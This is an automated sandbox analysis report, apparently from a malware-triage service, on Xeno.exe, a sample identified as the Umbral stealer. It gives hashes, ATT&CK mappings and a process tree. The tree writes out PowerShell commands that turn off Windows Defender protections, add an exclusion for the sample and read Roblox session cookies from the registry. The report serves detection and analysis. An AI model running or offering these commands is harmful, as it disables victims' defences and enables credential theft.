umbral | 41212cbe75d045d77235d95714043e556c6b758511642f84555e163348d38043

General

Target

Xeno.exe
Size

229KB
MD5

1999cce696ac4c8617e3519ef540e324
SHA1

c110150a899dfcf2e592c3fd9d503231e939a55b
SHA256

41212cbe75d045d77235d95714043e556c6b758511642f84555e163348d38043
SHA512

fe5da03504c14e3dd78568e9390bef87aeea3ccb45600648ad4476d7f1d61d235c8887b656a3c708885d1c16846030e37b02466e9d74f96caf1a73e3241693a3
SSDEEP

6144:9loZMNrIkd8g+EtXHkv/iD4gD6xOsTPkPFQu//OtPb8e1mQi:foZmL+EP8gD6xOsTPkPFQu//ONq

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2980-1-0x000001EEA01D0000-0x000001EEA0210000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3664	powershell.exe
1124	powershell.exe
3064	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
51	1432	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ip-api.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4896	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3664	powershell.exe
3664	powershell.exe
1124	powershell.exe
1124	powershell.exe
3064	powershell.exe
3064	powershell.exe
2908	powershell.exe
2908	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	Xeno.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 3664	2980	Xeno.exe	90
PID 2980 wrote to memory of 3664	2980	Xeno.exe	90
PID 2980 wrote to memory of 1124	2980	Xeno.exe	92
PID 2980 wrote to memory of 1124	2980	Xeno.exe	92
PID 2980 wrote to memory of 3064	2980	Xeno.exe	94
PID 2980 wrote to memory of 3064	2980	Xeno.exe	94
PID 2980 wrote to memory of 2908	2980	Xeno.exe	96
PID 2980 wrote to memory of 2908	2980	Xeno.exe	96

C:\Users\Admin\AppData\Local\Temp\Xeno.exe
"C:\Users\Admin\AppData\Local\Temp\Xeno.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Xeno.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2908

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QzBFNjEyOUItRTE3MC00OTIzLUI4NjUtQTY4MkREQTc5QkJGfSIgdXNlcmlkPSJ7ODUzRDZERDAtQUJCMi00MjE1LUIwRDMtM0JFREY5QUEyNTA1fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7QUExODg3MDEtRDVCMC00NzM1LUFFMUQtQzI2NDRERTQxN0MzfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI4IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDY4ODkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTM2NTgwOTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTc4MzA5OTcxIi8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:4896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
d7ffee180dc34e98d4d017cc069cfbe2

SHA1
213770cf5c44cfda9b03ef3874ce6e1c7873bbaa

SHA256
c1c818849706417ca60ffb547c7b12a6d53847aba535c1c4cbe94b1bd120922e

SHA512
834432c6be5a442957c401efa617fa5faecac7c5e93aa7150f8a1cb5d7ba42a0c52392049e39f365d39fbd0c9427e0d3c7cc0ed608d0fcdbee90b9fd42ed3443

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wuf1t0fn.34i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2980-69-0x000001EEBA6C0000-0x000001EEBA6CA000-memory.dmp

Filesize
40KB

Download
memory/2980-0-0x00007FFEB91A3000-0x00007FFEB91A5000-memory.dmp

Filesize
8KB

Download
memory/2980-76-0x00007FFEB91A0000-0x00007FFEB9C61000-memory.dmp

Filesize
10.8MB

Download
memory/2980-75-0x00007FFEB91A0000-0x00007FFEB9C61000-memory.dmp

Filesize
10.8MB

Download
memory/2980-74-0x00007FFEB91A3000-0x00007FFEB91A5000-memory.dmp

Filesize
8KB

Download
memory/2980-30-0x000001EEBA930000-0x000001EEBA9A6000-memory.dmp

Filesize
472KB

Download
memory/2980-31-0x000001EEBA660000-0x000001EEBA6B0000-memory.dmp

Filesize
320KB

Download
memory/2980-32-0x000001EEBA630000-0x000001EEBA64E000-memory.dmp

Filesize
120KB

Download
memory/2980-2-0x00007FFEB91A0000-0x00007FFEB9C61000-memory.dmp

Filesize
10.8MB

Download
memory/2980-1-0x000001EEA01D0000-0x000001EEA0210000-memory.dmp

Filesize
256KB

Download
memory/2980-70-0x000001EEBB200000-0x000001EEBB212000-memory.dmp

Filesize
72KB

Download
memory/3664-5-0x00007FFEB91A0000-0x00007FFEB9C61000-memory.dmp

Filesize
10.8MB

Download
memory/3664-4-0x00007FFEB91A0000-0x00007FFEB9C61000-memory.dmp

Filesize
10.8MB

Download
memory/3664-3-0x0000025CDF0D0000-0x0000025CDF0F2000-memory.dmp

Filesize
136KB

Download
memory/3664-17-0x00007FFEB91A0000-0x00007FFEB9C61000-memory.dmp

Filesize
10.8MB

Download

Analysis

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